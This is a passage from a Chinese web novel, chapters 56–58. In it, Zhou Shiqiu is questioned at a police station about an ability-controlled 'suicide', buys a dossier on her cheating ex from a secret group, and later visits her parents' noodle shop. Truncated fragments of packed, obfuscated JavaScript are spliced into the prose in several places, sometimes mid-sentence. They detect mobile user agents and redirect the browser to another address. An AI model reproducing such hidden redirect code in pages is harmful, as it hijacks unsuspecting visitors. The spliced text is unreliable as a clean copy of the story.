l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943433|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查。】 该来的果然还是来了,周拾秋觉得自己就不该多事,半夜睡不着登录危机管理局,又没事找事进了任务大厅,更好死不死接取了“自杀”委托。 这下又莫名卷入案件之中了。 瞬间没了吃饭的情绪,周拾秋借口去趟卫生间,溜出月眠厅,趁着四下无人,通过手环发送了任务完成申请。 不消一会儿,周拾秋回到了自己的身体。 此刻她正与齐绮坐在附近快餐店,面前摆放着吃了一半的快餐。 回过神的第一时间,周拾秋翻看手机通话记录,果然有一通自动标注为西区警局的电话。接着她又查询了乌鸦的账户,大约凌晨5点时,又有一笔大额转账,纪骞宏没说错。 在确认周拾秋意识返回身体后,齐绮简明扼要地道出了重点。 “听说昨晚被你救下那个委托人死了。” 周拾秋点点头:“嗯,我刚才从瑞波恩的协议主管口中听说了。” 齐绮问:“会是那两个进化者吗?” 周拾秋说:“也许。” 两人一合计,昨晚的事大概率是瞒不下去了,既然又出现了受害者,周拾秋只能将实情告诉警方。 在齐绮的协助下,周拾秋整理好证言,尽量将自己塑造成无辜卷进这场阴谋的受害者,在不引起警方怀疑的情况下,洗清自己的嫌疑。 等到做好准备,齐绮开车送周拾秋来到了西区警局。 一顿不放心的嘱托后,齐绮留在车上等待,由周拾秋独自进入警局接受调查。 一下车,一个高大的身影拦住了周拾秋的去路,半张脸藏在围巾后,双手戴着黑色皮手套,张开臂膀,将周拾秋拦在了车门旁。 “庾木木?你也被通知调查了?不对啊,要你来警局也不会是禁仿西区啊……” 周拾秋满腹疑问,弄不清庾林为何会出现在这里。 庾林面色凝重,开口便问:“你昨晚又惹什么事了?” 瞧他气势汹汹的模样,周拾秋感觉不适,一种被当罪犯对待的不悦感油然而生,似乎只要一出事,她这个进化者就理应第一个被怀疑。 “不知道你听说了什么,我现在只是来配合调查,不是被定罪了吧?”周拾秋说着推开庾林的手,大摇大摆往警局走。 庾林意识说话急了些,紧追上来解释:“我不是要怀疑你,听说昨晚自杀的人同样被检测出异能残留,我得确认你是否……” 后半句话被他吞了回去,现在这种场合,并不适合什么话都往外说。 周拾秋自然明白他想说什么,脚下一顿,抬头瞪了一眼庾林,语气冰冷,坚决否认道:“我什么事也没做!” 庾林被她的气势逼得后退一步,说话语气也弱了几分,“不是你就好……有什么需要我配合吗?” 看着庾林自愿配合的模样,周拾秋心里刚蹿出的火苗顷刻间被浇灭了,一时有气也撒不出,无奈叹了口气。 视线往车停靠的地方一瞥,见齐绮正从窗口探头注视着,周拾秋抬手命令:“这事儿你帮不了,别捣乱,去车里等我。” 庾林闻言,眉头轻挑,“越来越会使唤人了……” 周拾秋毫不客气地阴阳怪气回怼:“嘻嘻,跟庾总监学的!” 庾林一时语塞,不再追问,听话地转身往停车处走,三步两回头,脸上写满不放心,终是开头叮嘱:“可能进研所会参与调查,你……你当心点。” 周拾秋一脸嫌弃地冲他挥了挥手,深呼吸几次,扭头便冲进了警局大厅。 56. 第056章 进入大厅,在道明来意后,有警员领周拾秋到了一间会议室,安排她坐下等待,随即关门离开,看样子是去叫负责该案件的同事。 周拾秋并没有被直接带进审讯室,这让她稍微松了一口气,大概根据警方的调查,还不能证明她有嫌疑,因此只是以问话的方式传她来配合调查。 趁着警员还未来,周拾秋在脑海中将排练好的证言又过了一遍,并试图从警方口中套取一些未知消息。 那两个进化者会与最近频发的自杀案有关吗? 正在思考之际,房门被敲响,三人相继走进房间,周拾秋心头一紧,急忙恭敬地站起身,唯恐被对方判定为傲慢无礼。 一抬眼,视线对上一张神情慵懒的脸。 身形高瘦、满脸胡渣的中年男人身旁,跟着一个身材高挑、长相幼态的短发女人,两人看见周拾秋,不约而同打起招呼。 褚成舟:“哟,秘书小姐,想不到这么快又见面了。” 施煦:“周小姐好,感谢您来配合调查。” 好的,她跟进研所是分不开了。 脸上堆起虚伪的笑,周拾秋极不情愿地点头问好:“是啊,真是有缘……” 说着,她的手下意识放进衣兜,才想起进化检测证明没带在身上,不过自己刚通过检测没多久,褚成舟应该不会找她茬才对。 周拾秋一边这样想着,一边看着负责问话的警官带着进研所两位专员入座。 警官招呼周拾秋坐下,又随和地说:“周小姐不用紧张,今天请你来警局,主要想跟你确认些事,想必我同事在电话里已经告诉你了,昨夜你接取任务的委托人被发现跳楼自杀了。” “嗯……”周拾秋带着忐忑的心情,缓缓坐回椅子上,“能确定是自杀吗?” “嚯?秘书小姐觉得不是自杀?” 褚成舟目光犀利,一直在周拾秋身上打转,看得周拾秋发怵。 好在提前整理了说辞,周拾秋强行稳住心神,慢条斯理地回答:“我觉得不是自杀,昨晚我问过委托人,她说她没想过自杀,是被人威胁发出的委托。” “嗯,确实如此,我们在死者身上检测出异能残留。”警官看着手里资料,结合着周拾秋的证词,坚定地说道。 正如周拾秋所想,警方调查得很仔细,既然能找瑞波恩拿到她执行过任务的记录,想必也能拿到她与委托人的私信记录。 她仔细回忆了一遍,确信私信中没有提及不可说的内容,便故作惊讶,接着开口:“真的吗?你们是说,这件事与进化者有关?那我昨晚看到的……” “你看到什么了?”施煦温柔地询问。 周拾秋装作一副因回忆起恐怖的一幕而战战兢兢的模样,眼神充满恐惧地开口:“一睁眼,我发现委托人正站在天台上,忽然间,一个陌生女人朝我冲了过来,掐住我的脖子,想将我推下楼。” “陌生女人?看清长相了吗?”褚成舟一边问话,一边在小本子上记录着什么。 “看清了,开始我不知道是谁,后来从她着装上分辨出,是委托人!”周拾秋说。 褚成舟手里的笔停顿下来,抬眼露出一丝迷惑,“你说委托人想杀你?这怎么可能,你的意识不是已经进入委托人身体了吗?” “对啊,不知怎的,我好像完全忘了!”周拾秋故意露出茫然的表情。 褚成舟像是想到了什么,继续问道:“后来发生了什么?” 从褚成舟的眼神中,周拾秋判断他应该是想到控制系异能了,于是她继续表演。 “当时我害怕急了,我不想死,下意识掐住了她的脖子。我们谁也没放手,窒息感越来越强烈……我真以为死定了!直到瞥见手腕上戴的手环,我才意识到自己在委托人身体里,也就是那一瞬间,眼前的女人突然消失了……” “手环?”褚成舟向她手腕投来疑惑的目光。 周拾秋将袖口往上捋,露出手腕。昨晚完成委托后,她就将那只通用手环扔回了柜子角落,现在手腕上只留着那只定制手环。 指腹在手环上摩挲着,周拾秋心有余悸地说:“多亏我当晚戴了两只手环,才让我回过神来……那时我发现自己正站在天台边上,双手掐着自己脖子,稍微晚一步,可能就……” “死者身上检测出来的,还有周小姐的描述,都符合控制系异能特征。”施煦小声对褚成舟说。 周拾秋捂嘴惊呼:“啊?意思是我当时被进化者控制了吗?” “很有可能。”褚成舟若有所思,语调又变得阴阳怪气起来,“秘书小姐居然能摆脱异能控制……挺厉害嘛……当时就没觉得奇怪吗?” 早料到轻易摆脱异能控制会被质疑,所以周拾秋一开始才不想报警,如今也只有继续装傻充愣。 她一本正经回答:“当然奇怪啊,所以我才私信委托人啊,结果她说的情况与我看到的完全不同,我都怀疑自己撞邪了!毕竟,大半夜站在天台,黑漆漆的……” 说着,周拾秋浑身一抖,手掌摩擦着胳膊,装出惊魂未定的可怜样。 经她这么一说,褚成舟暂时找不出漏洞,无奈地合上了小本子。 一旁的警官又提出疑点:“如果此案与危代人无关,为何委托人死后,剩余财产又汇到了危代人的账户呢?” “为了让案件看上去像是我为了钱杀人?”周拾秋仔细想了想,又接着说道,“不久前我在危机管理局聊天室听到有人讨论新出现的自杀案,如今想来,情况似乎与我遇到的极其相似。” “秘书小姐知道得挺多嘛,怎么说?”褚成舟身子微微前倾,饶有兴致地问。 周拾秋斟字酌句道:“都有危代人参与,可记忆却模糊不清。如果我中途没清醒过来,委托人当时就死了,大概率我也会成为疑犯,对吧?” 褚成舟毫不掩饰地回答:“没错。” “我有个疑问,这次现场留下的异能残留,是否与此前的自杀案相同呢?”周拾秋大胆询问。 褚成舟的眼中泛出警惕的光,笑眯眯地说道:“这种事好像不是秘书小姐该过问的吧?” “你要这么说也对。”周拾秋点点头,却没有因此退缩,反倒有些理直气壮,“只是有些想法,我得确认前提条件后,才知道有没有告诉你们的价值。” 当褚成舟揣测着周拾秋的想法时,施煦已经坦诚开口: “不算完全一样,这次留下的异能残留更少,但有重合,所以,周小姐有什么想法?” “啧!” 褚成舟一脸不满地瞪了施煦一眼,而后者一副无辜的模样,让他欲言又止,最终只能自己咽下这口气,转而望向周拾秋,等待周拾秋能给出怎样的回复。 不完全一样,却有重合吗? 这意味着参与其中的进化者不止昨晚那一男一女。 难怪进研所会优先怀疑暗魈,因为只有这个组织手底下聚集着不少进化者。 周拾秋没办法直说自己见过一男一女,并且清楚他们是哪种品阶的进化者,这样无疑暴露了控制异能对她完全失效了。 因此,她只能在安全范围内,说出自己的猜测。 “我记得委托人说她是被守旧者威胁了,而我看到的是委托人想杀我,如果确定是进化者所为,那我想,会不会委托人也被异能影响了呢?”周拾秋说。 褚成舟没有否认,“控制死者的意义呢?就为了让她自杀?” 警官补充道:“这次案件与之前有一点不同,此前私危协议自动触发,协议危代人被迫卷入案件,这回是主动发起委托,万一没人接取任务呢?” “这就是问题所在啊,任务奖金很高,总能吸引到危代人,可凶手这么做的理由是什么呢?”周拾秋有意引导。 “为了嫁祸?” 施煦尝试着结合所有事实,分析凶手的犯罪心理。 周拾秋:“刚开始我也这么认为,可刚才知道我是受了异能控制后,我想到了另一种可能性。” 褚成舟:“什么可能性?” 周拾秋:“如果当时我没有清醒,委托人就此坠楼身亡,那我意识中只会留下委托人想害我的记忆,而委托人的记忆也只有受到守旧者威胁。” 听了周拾秋的话,褚成舟猛然站起身,他似乎意识到了问题的关键,转而对警官说: “我们恐怕得再走一趟瑞波恩科技,如果所有受害人生前都被异能控制过,那他们极有可能在意识进入虚拟度假村时,会想办法与瑞波恩取得联系。” 警官不明白他想说什么,低声询问:“你觉得他们会留下犯人的线索?” “不,我得确认他们生前是不是都被守旧者威胁或袭击。”褚成舟自信回答,眼中闪过兴奋的光,似乎眼前的迷雾正被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948348|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拨开。 警官虽然不懂他的用意,还是配合地点了点头,准备找人联系瑞波恩科技。 “秘书小姐真是犯罪者的克星,总是莫名给对方添乱,倒是为我们提供了线索。” 褚成舟阴阳怪气地对周拾秋说。 这些话像是骂人,又像是在夸人,听着不怎么顺耳,周拾秋嘴角抽搐,忍着怒气不敢发做,假笑着点点头: “呵呵,能帮你们尽快抓到凶手再好不过。” 如果她没有猜错,那两个进化者的目的,恐怕是为了挑起守旧者与理想者的纷争,而不是揭露瑞波恩的阴谋。 也就意味着,进研所调查的方向错了,背后作恶的人并非暗魈。 因为案件被定性为他杀,所以除了委托人自愿汇给周拾秋的5千酬金,剩余金额被警方要求退回,等后续调查结束,大抵会交由家人处置。 周拾秋办理完退款,从警局走出来,一脸疲惫地回到车上,简单向等候她归来的两人说明了整个问话过程。 庾林对于她昨晚遇上两个进化者的经历很是惊讶,可话锋随后便转到她半夜赚外快一事上。 “乌鸦小姐就这么缺钱?债务不是已经还清了吗?一个月期限未到,就搞兼职,合适吗?你如果老实遵守我们的约定,也不至于又卷入谋杀案……” 坐在后座的庾林嘴里唠叨个没完,周拾秋实在受不了念经一样的说教,转身抬手堵住了庾林的嘴。 她气恼地骂骂道:“求你别叭叭了,头疼!我要是昨晚睡得着,我能没事找事去看人自杀吗?再说了,如果不是我出现,进研所也没那么快发现调查方向错了啊!” 不是怀疑,就是责怪,周拾秋觉得自己与庾林八字不合,稍微有点正面情绪价值,很快就能被败光。 齐绮忍不住笑起来,摸着周拾秋的头安慰道:“对啊,我们十秋肯定是为了救人才接下委托,绝对不是为了钱去帮忙自杀的,庾先生你别把我家孩子想得太坏。” 庾林被捂嘴说不出话,眼神质疑地望向周拾秋。 周拾秋战术性咳嗽一声,虽有些心虚,但还是理直气壮道:“那是当然!” 此事就此告一段落,庾林也安心地下了车,在他离开前,周拾秋喊住了他,招手让他靠近。 庾林又顺从地走回车门边,俯身凑近窗口。 周拾秋低声告诫:“其实今天我还发现,瑞波恩的协议主管纪骞宏,也是进化者,今后你与瑞波恩接触小心些。” 庾林愣了愣神,显然对这个消息有些意外,不过片刻后,藏在围巾后的嘴角微微扬起,明知故问道:“不过是进化者罢了,有什么好小心的?” 周拾秋狠狠剜了他一眼,“你怎么不把怀疑我的劲儿放别人身上,我是什么十恶不赦的人物吗?真是烦人!” 话刚说出口,周拾秋便回想起初次见面时对庾林的威胁,说话的声音不由得变弱,带着几分心虚,她调转口风,“咳,你懂的,进化者都有犯罪基因,谁知道会有什么极端行为,反正你能避则避。” “也包括乌鸦小姐吗?”庾林弯着眼,带着些调侃的意味,低声询问。 周拾秋看着面前这张熟悉的脸,心中又升起一股无名火,抓住围巾两端,报复一般用力勒紧,用威胁的语气道:“对,你最好小心点,等约定期限结束,说不定我会再做什么失去理智的事!” 明明她行为粗暴,言语不善,可庾林看向她的眼神一点恐惧都没有,一只手拽住围巾避免勒住脖子,嘴里象征性地求饶:“是是是,我一定小心。看来是约定期限救了我的命,那我是不是该适当延长期限呢?” 不知是开玩笑,还是故意气她,周拾秋有种一拳打在棉花上的憋屈感,当即松开双手,将庾林推离车门,嘴里骂道:“你想得美!” 话音刚落,周拾秋便关上车窗,让齐绮开车驶离了警局,撇下庾林扬长而去。 一直到回到禁仿区,周拾秋才想起今天一天最重要的任务还没完成,于是又厚着脸皮给庾林发了条消息: 【收到遗产继承协议请发我一份,谢谢。】 随后是忐忑的等待,她终于意识到,骂庾林似乎骂早了一些,也不知道对方会不会因此为难她。 万幸,她很快收到了庾林的回信,内容依旧简洁,却又给人一种吃错药的美感。 ——【遵命,不客气。】 57. 第057章 当天夜里,又出现了一件始料不及的事,让原本被周拾秋抛之脑后的麻烦,重回视野,并在危机管理局引爆了一颗雷,掀起了危代人与委托人的矛盾。 不知什么人在网上爆料,剑指最近频发的VIP客户自杀事件另有隐情。 此帖在凌沪市热门挂人论坛悄然出现,立马掀起腥风血雨,只因其中强调,是贪婪的守旧者觊觎理想者的财产,有意将谋杀营造成了自杀。 此话一出,立马引来无数守旧者口诛笔伐,不光是危代人,也有普通市民,这种引战帖很快被平台删除,可舆论已然掀起,事态逐渐发酵。 不少守旧者搬出了有关瑞波恩科技的阴谋论,竟意外与这些自杀案件有了照应,于是网上有了一种新的推论:那些所谓的自杀,其实是理想者为了实现永生而玩的把戏。 一时间,守旧者在各个平台发起了对理想者的控诉,连危机管理局也没能幸免。 很快,理想者发现网上舆论,纷纷下场,两边陷入了无休止的对撕,两区民众关系极具恶化,这场舆论争斗愈演愈烈。 周拾秋和齐绮化身瓜田里的猹,吃瓜吃了个饱。 周拾秋:“看来我的猜测是对的,幕后凶手的真实目的根本不是瑞波恩,是为了挑起守旧者与理想者的矛盾。” 齐绮:“那这个突然出现的爆料,会不会也是那些人的安排?” 此刻二人正坐在书桌前,目瞪口呆地看着电脑屏幕,聊天大厅里,那些充斥着双方骂战的聊天室不停被瑞波恩封禁,又不停有新的聊天室产生。 反反复复多次后,整个聊天大厅被停用了,危机管理局置顶了一条“不信谣不传谣”的公告,内容略带威胁,如果再引战,将直接永久封号。 强硬的应对手段的确生效,成功劝住了部分依靠危机管理局谋生的危代人。 “瑞波恩,好有魄力,不怕金主纷纷出走么……”周拾秋忍不住感慨。 齐绮表示怀疑:“说不定只是对打工人强硬呢?” “真的假的?没这么夸张吧……” 细想一下,瑞波恩的工作人员平日在VIP客户面前跟孙子一样,还真不一定敢这般硬气。 带着探究的好奇心,周拾秋拿起手机,拍了张公告照片发给庾林,想确认庾林看到的是否一样。 没一会儿,庾林回了一张照片,并非危机管理局的置顶公告,而是推送给VIP客户的私信。 信中言辞诚恳,态度恭敬。 瑞波恩表示,会严肃处理恶意生事的危代人,并希望各位客户能保持冷静与克制,不要与守旧者一般见识,同时还保证这次网上造谣不会影响危机管理局的日常运营,他们也会竭诚保障各位客户的权益。 最后,对于VIP客户,瑞波恩还主动减免一个月的会费作为此次事件应对不利的补偿。 好家伙,周拾秋直呼好家伙。 齐绮感觉意料之中,笑而不语。 周拾秋骂骂咧咧吼道:“太双标了!有钱人才有人权么?倘若我把这消息放上网,瑞波恩必遭大规模抵制!” 齐绮连忙制止:“网上已经闹翻天,你就别再添乱啦!” “我就说说而已……”周拾秋嘀咕道。 心中虽愤愤不平,可周拾秋如今并无闲情惹事,随意表达几句不满,便不再纠结。 随后,庾林又发了几张照片,内容是遗产继承协议。 基本与纪骞宏告诉她的一样,这是一份纯粹的遗产继承服务,并不涉及生命保险相关内容,也是绝大多数人知晓的版本。 而暗魈之所以让她去找遗产继承协议,大概率是以为其中会有隐藏部分,即所谓的阴谋论。 周拾秋本来还在烦恼,不知该从谁身上拿到生命保险协议,然而如今闹出两区对立事件,她顿时打消了想法。 一是暗魈本就只说要遗产继承协议,她按字面意思提交物品,似乎没什么毛病;二是一旦生命保险协议曝光,更佐证阴谋论的存在,还不知两区矛盾会被激化成什么样。 与齐绮商议后,周拾秋决定先拿这几张照片应付了事。 没空再吃瓜,周拾秋再次登录了暗魈的秘密网站,熟悉的留言板上已经有访客留下了一句看上去莫名其妙的话——新的藏品到货,欲购者楼下报价。 周拾秋在留言下评论:64448228。 等了几分钟,网页再次自动弹出对话框,网站管理员向她发起对话。 【管理员:你要的东西已到位,交钱提货。】 管理员口中的“钱”自然是指暗魈所求的遗产继承协议,周拾秋没有废话,直接将庾林发过来的照片转发过去。 【管理员:!不愧是夜行蝠,这么快就搞定了。】 在发出一声恭维的话后,周拾秋收到了一堆文件,其中有照片也有调查报告,内容十分详尽。 周拾秋保存好文件后,立马关闭对话框,退出了暗魈秘密网站,动作干净利落,唯恐晚一步,让对方发现货不对板,还有机会找她麻烦。 “柴星曜,这可不能怪我,是你手下自己没把要求说清楚。” 钻了空子的周拾秋对着空气喃喃自语,带着有但不多的歉意。 周拾秋和齐绮一起翻看起文件,略过大多对她们无用的信息,比如郑常新最近赌博欠债,曾经借钱不还,以及有三位前女友,且与他分手后均遭到他报复。 其中一人正是周拾秋。 周拾秋不得不佩服暗魈的调查手段,居然连她被造谣的事都查出来了。 不过这些炸裂的信息,越看越心寒,彻底摧毁了郑常新原有的形象,令她们厌恶不已。 对周拾秋而言,更多的或许是对自己的埋怨,怪自己随便回应别人的表白。 果然不做背调,注定存在风险。 接着她们翻到了一张酒店走廊里的照片,照片上一男一女搂在一起,举止亲密。 男人是郑常新,至于女人,周拾秋从未见过,可又像在哪里见过一样。 一头棕红的长发,浅褐色眼瞳,鼻尖一点痣,饱满的红唇,衣服上带着黑色蕾丝,看样子比郑常新年长一些,整体透着一股成熟丰韵…… 周拾秋想了好半天,也没弄懂究竟从哪里来的熟悉感,直到看到照片下的标注。 ——L463年11月13日晚,青溪酒店13楼监控。 看到“青溪酒店”四个字,周拾秋终于想起为何自己觉得照片上的女人熟悉。她曾从庾林口中听到过同样的描述,细节基本一致。 这女人就是郑常新的出轨对象。 继续往后翻找,她发现不少郑常新与此人的亲密照片,时间跨度很长,哪里是郑常新口中的一时糊涂,他们俩早就在一起了,甚至两人相识都在周拾秋认识郑常新前。 “等等……”周拾秋惊呼,“不会我才是小三吧?” 心中一阵恶寒,带着这种担忧,她寻找起关于这女人的信息。万幸,暗魈对这女人也做了详细调查报告。 女人叫万琳,是郑常新所任职公司老板的妻子,两年来,一直与郑常新保持着地下情人的关系,而郑常新身边所谓的正牌女友们,皆是为了掩饰两人之间的不正当关系 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一时联系不上郑常新,她们也没辙,暂且决定明早再联系看看。 周拾秋说:“如果他明天还不接电话,我就直接去公司找他。” 齐绮没有反对,“能以和平方式解决当然最好,不过也得有两手准备,先礼后兵。你把资料发我,我找朋友问问,他黑点这么多,就算法律途径走不通,还有网络判官。” “嗯。” 齐绮回了自己房间,周拾秋则把资料尽数发送给齐绮。 事情不能立马解决,堵在心上憋得慌,周拾秋睡不着,只能继续上网吃瓜。 危机管理局的混乱基本已被强制压下,某些不怕事的账号陆续被封禁,讨论声渐消,聊天大厅也重启。 周拾秋发现自己收到十多条私信,一一点开查看,正是昨晚目睹她接取寻死任务的那群闲人。 问题十分统一: 【你不会昨晚被理想者夺舍了吧?理想者重生?】 看着这些被阴谋论彻底洗脑的言论,周拾秋的手指悬在键盘上,一时不知该如何解释,恐怕说什么都有可能被扭曲。 而且这么多人,她一个一个回哪儿回得过来。 果断放弃后,她退出危机管理局,又依次浏览了几个热门的论坛。 情况与危机管理局相近,官方下场,开始控制舆论发酵,效果虽没有危机管理局显著,但总算在群情激奋的浪潮中,陆续出现理性质疑的声音。 也不知这次事件算不算好事,当所有守旧者的注意力都集中在与理想者的矛盾上时,关于周拾秋和花店的热度总算降了下来。 不过,热度降低不代表已经翻篇,她还是得赶紧解决郑常新这个大麻烦,为自己沉冤昭雪。 忽然一声消息提示音从手机传来,周拾秋从电脑屏幕移开视线,转头拿过手机一看,消息来自于“金主爸爸”。 【睡了吗?】 奇怪,实在是奇怪! 周拾秋看着那三个字,感觉异常陌生,特别这三个字还出自庾林之手,她很难将两者联系起来。 沉思了许久,周拾秋才警觉地回了一句话。 【是本人?】 下一秒,一个电话打了过来,突然响起的铃声吓得周拾秋一激灵,手机险些摔地上。 周拾秋一头雾水接通电话,只听对面传来熟悉的调侃声:“睡迷糊了?不是本人还能是谁?” 确实是庾林。 58. 第058章 如果不是出了什么紧急的事,庾林平时绝不会主动联系,而且事情一定不是简单的委托,否则他直接发布任务就行,何必问她睡没睡? 经过严密的推理,周拾秋估计自己又惹上什么大麻烦了。 “我又被进研所怀疑了?”周拾秋紧张地问。 电话那头沉默了两秒,随后声音略显疑惑地反问:“你又偷偷做了什么坏事吗?” 相互询问仿佛不同频,周拾秋越来越懵,从庾林不紧不慢的说话状态,听不出危险的气息,于是焦急催促道:“大晚上,你能不能别吓唬人,到底什么事?我还没睡呢,清醒得很,倒是你,怎么奇奇怪怪的?” 庾林:“怎么这么大脾气?还在愁郑常新的事?” 周拾秋:“别提了,那家伙不接电话,我就是想到对付他的办法了也没用,只能再等一晚。” 庾林:“看来乌鸦小姐今晚又要睡不着了。” 周拾秋:“啧,你打电话不会是来气我的吧?你才睡不着呢,现在时间还早,我们年轻人本来就睡得晚,不像你们老年人……” 庾林:“是是是,既然时间还早,那就有劳乌鸦小姐做个委托。” 记忆涌现,无数次毫无准备就被迫意识切换的体验还历历在目,周拾秋忍不住讥讽:“就这事?庾木木,你啥时候开始在乎危代人睡没睡,有没有空接委托了?可以啊,突然有人性了?” “……”庾林被她说得一时语塞,轻轻叹了口气,声音也不由得冷了几分,“睡不着就工作,出来吹吹夜风,清醒一下,送我回酒店。” 话音刚落,庾林便自行挂断了电话,不给周拾秋任何回嘴的机会。 还没放下手机,手环上白光闪过,屏幕上跳出了委托任务,周拾秋不情不愿地选择了“接受”。 突然被要求上班,对协议危代人而言,稀松平常,只是老板的反常,让人摸不着头脑。 周拾秋没想太多,注定今晚会因焦虑而失眠,能找点事做,反倒是好事。 再睁开眼时,周拾秋已经转移到车上,令人意外的是车上没有司机,也没有康管家,庾林独自坐在驾驶座上。 一抬眼,车外像一副画,以山为框,星光闪烁的夜空与流光溢彩的城市组成静谧却华丽的风景。 周拾秋没有立即发动汽车,推门下车,看清周围的景色。 庾林的车正停在半山腰的弧形观景台,远处正是凌沪市,高墙将城市一分为二,不同的灯光色彩与分布,展现出两种截然不同又和谐共处的奇异景观。 夜风冰冷,幸好有围巾御寒,周拾秋缩着脖子,倚着栏杆,极目远眺,竟意外感觉畅快。 就像焦虑被夜风吹散,自然的味道涌入鼻腔,吸入肺腑,驱散浊气,脑子也随之变得清醒。耳中没有喧嚣,只有风吹过树林簌簌作响,虫鸣成为夜晚的旋律。 掏出手机拍了几张夜景,再美美来张自拍,看见镜头下的脸,周拾秋才想起自己还在工作。 “庾木木没事一个人跑山上来干嘛?” 嘴里忍不住念叨,周拾秋收好手机,又悠闲地靠在栏杆上欣赏了一会儿风景,呼吸着山里的新鲜空气。 这样的宁静,她已经不知道有多久没有感受过了。 渐渐地,她感觉这个地方有些熟悉。 再次拿出手机,看了看地图定位,原来她正位于凌沪市禁仿区城外的林月山,而此处正是林月山最出名的观景点——风行台。 从此处眺望市区,可惊喜地发现,作为前景的林月山好似一幅画框,将整个凌沪市镶嵌其间,因此便有了凌沪市最贵画框之称。 凌沪市禁仿区的市民几乎无人不知,周拾秋上学时,学校有时还会组织学生来此写生。 没想到庾林还能找到这里来。 特意开几个小时车来这里看夜景?这人是有多闲?就不能带司机么? 周拾秋心中一顿抱怨,然后完成打卡一般,替庾林留下了一张与最贵画框的自拍合影,最终启程去完成此次委托任务。 回到车里规划线路时,周拾秋突发奇想,这里离老家挺近,还不如顺道回家看看。 于是,目的地从天宫酒店改到了一周面馆。 为了生计和还债,家里的面馆一般从早上6点一直开到晚上10点,周拾秋现在赶过去,兴许父母还没关店。 周拾秋吹着夜风,一路驶下山,大约半个小时后抵达了位于偏远城区的一周面馆。 店里还亮着灯,零星两三个客人还在用餐,坐着轮椅的父亲还在柜台后,戴着老花镜埋头算账,母亲站在门口,张罗着最后收尾几单生意。 她已经有大半年没见过父母,突然的生活压力让两人苍老了许多。以前不曾留意的皱纹悄悄爬上了眼角,黑色的头发中混入了白丝。 如果自己再努力些,也许可以不让父母如此操劳。 周拾秋坐在车里,远远望着街对面的小店,心中有些苦涩。 一直等到店里的客人全部离开,母亲开始收摊,周拾秋才下车走进了面馆。 “啊,要吃点什么吗?” 面对突然造访的客人,母亲停住了手里的活,即便对方是个理想者,也没有赶客的意思,大概一心只想着能做一单是一单。 “还剩了些啥?” 周拾秋努力扮演着一位恰好路过,寻找吃食的游客。 母亲擦了擦桌子,示意她坐下,语气柔和地回答:“牛筋和排骨卖完了,牛肉、鱼汤、鸡杂还有,您想吃哪样?” 周拾秋没有坐,站在原地说道:“我赶着回家,能把面和浇头分开打包吗?面我回去自己煮。” 第一次遇上这种客人,母亲一脸诧异,但考虑到对方是理想者,想法特别又似乎很合理,于是释然地回应:“可以,您要哪样,几碗,告诉我就成。” 周拾秋:“全部,剩下多少我都要。” 母亲一下愣住了,“还剩挺多,您吃得下么……” 周拾秋微微一笑,“我家里人多!” “哦……好。” 虽然不懂,但母亲还是依言行动起来,迅速将剩下的所有浇头分装打包,又按照浇头的量,打包了合适的面量,然后大包小包地送到周拾秋面前。 “这里大概还有二十来碗的量,算您500。” 周拾秋爽快支付,拿上东西放回车里,然后远远看见父母两人收拾起残局。 心中感慨万千,一时舍不得就此离开,冲动之下,周拾秋脱下围巾手套,随意往后座一扔,便冲回了面店。 “嗯?客人还有什么事吗?” 看见周拾秋去而复返的母亲,赶紧招呼道。 周拾秋一把夺过母亲手里的毛巾,边擦桌子边道:“心里事多,回去也睡不着,看到你们,总想起我爸妈,他们人在外地,我帮不上忙,就让我在这儿找点事做吧,减轻心里愧疚。” 父母二人面面相觑,用唇语感慨着“真是个怪人”,但不好拒绝对方的好意。 有了周拾秋的帮忙,面店很快被收拾完毕。该清洗的东西,周拾秋抢着清洗;该清扫的地方,周拾秋抢着清扫…… 大约二十来分钟后,店门总算关闭,母亲推着轮椅站在路边,跟父亲一起向周拾秋道谢。 周拾秋只是摇了摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957005|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没有多说一句,催促着二人赶紧回家休息。 看着父母离开时,嘴里还感叹着理想者与他们印象中完全不同,周拾秋既觉得好笑,又有些辛酸。 得尽快解决郑常新这个大麻烦,让花店重回正轨,她要努力赚钱,让父母不用再开面店。 如此下定决心,周拾秋踏上了回程之路。 一个人开车太过冷清,一想到庾林现在可能已经躺在被窝里,她就觉得不公平,虽说休息的是她的身体,但就自己一个人大半夜孤零零地开着车,终究让她心里不平。 于是,她把心一横,一通电话打给“最伟大的危代人”,按下免提。 在电话接通的一瞬间,周拾秋恶意满满地问了句:“睡了吗?” 只听对面一声叹息,周拾秋懒洋洋的声音从电话另一端传来:“乌鸦小姐真记仇……这个时间点,应该还没完成任务,打电话有事?” “没事。” “……” “我就想看看,我们最为员工着想的庾总监睡了没。” “……” “嗯?这么早就睡着了?” “没,在听。” “哦,那就好,我还以为干爹这么老年人作息呢。” “……咳……乖,叫爹叫得挺顺口。” “啧,你听不出来我这是嘲讽吗?说你老呐!” “没听出来,早睡好像与年龄无关,你是嫉妒别人睡得着吗?” “你!”周拾秋本欲逞口舌之快,没想到被气的是自己,强咽下这口气,转移了话题,“你没事跑这么远来干嘛?” 庾林想了想才回答:“赏夜景。” 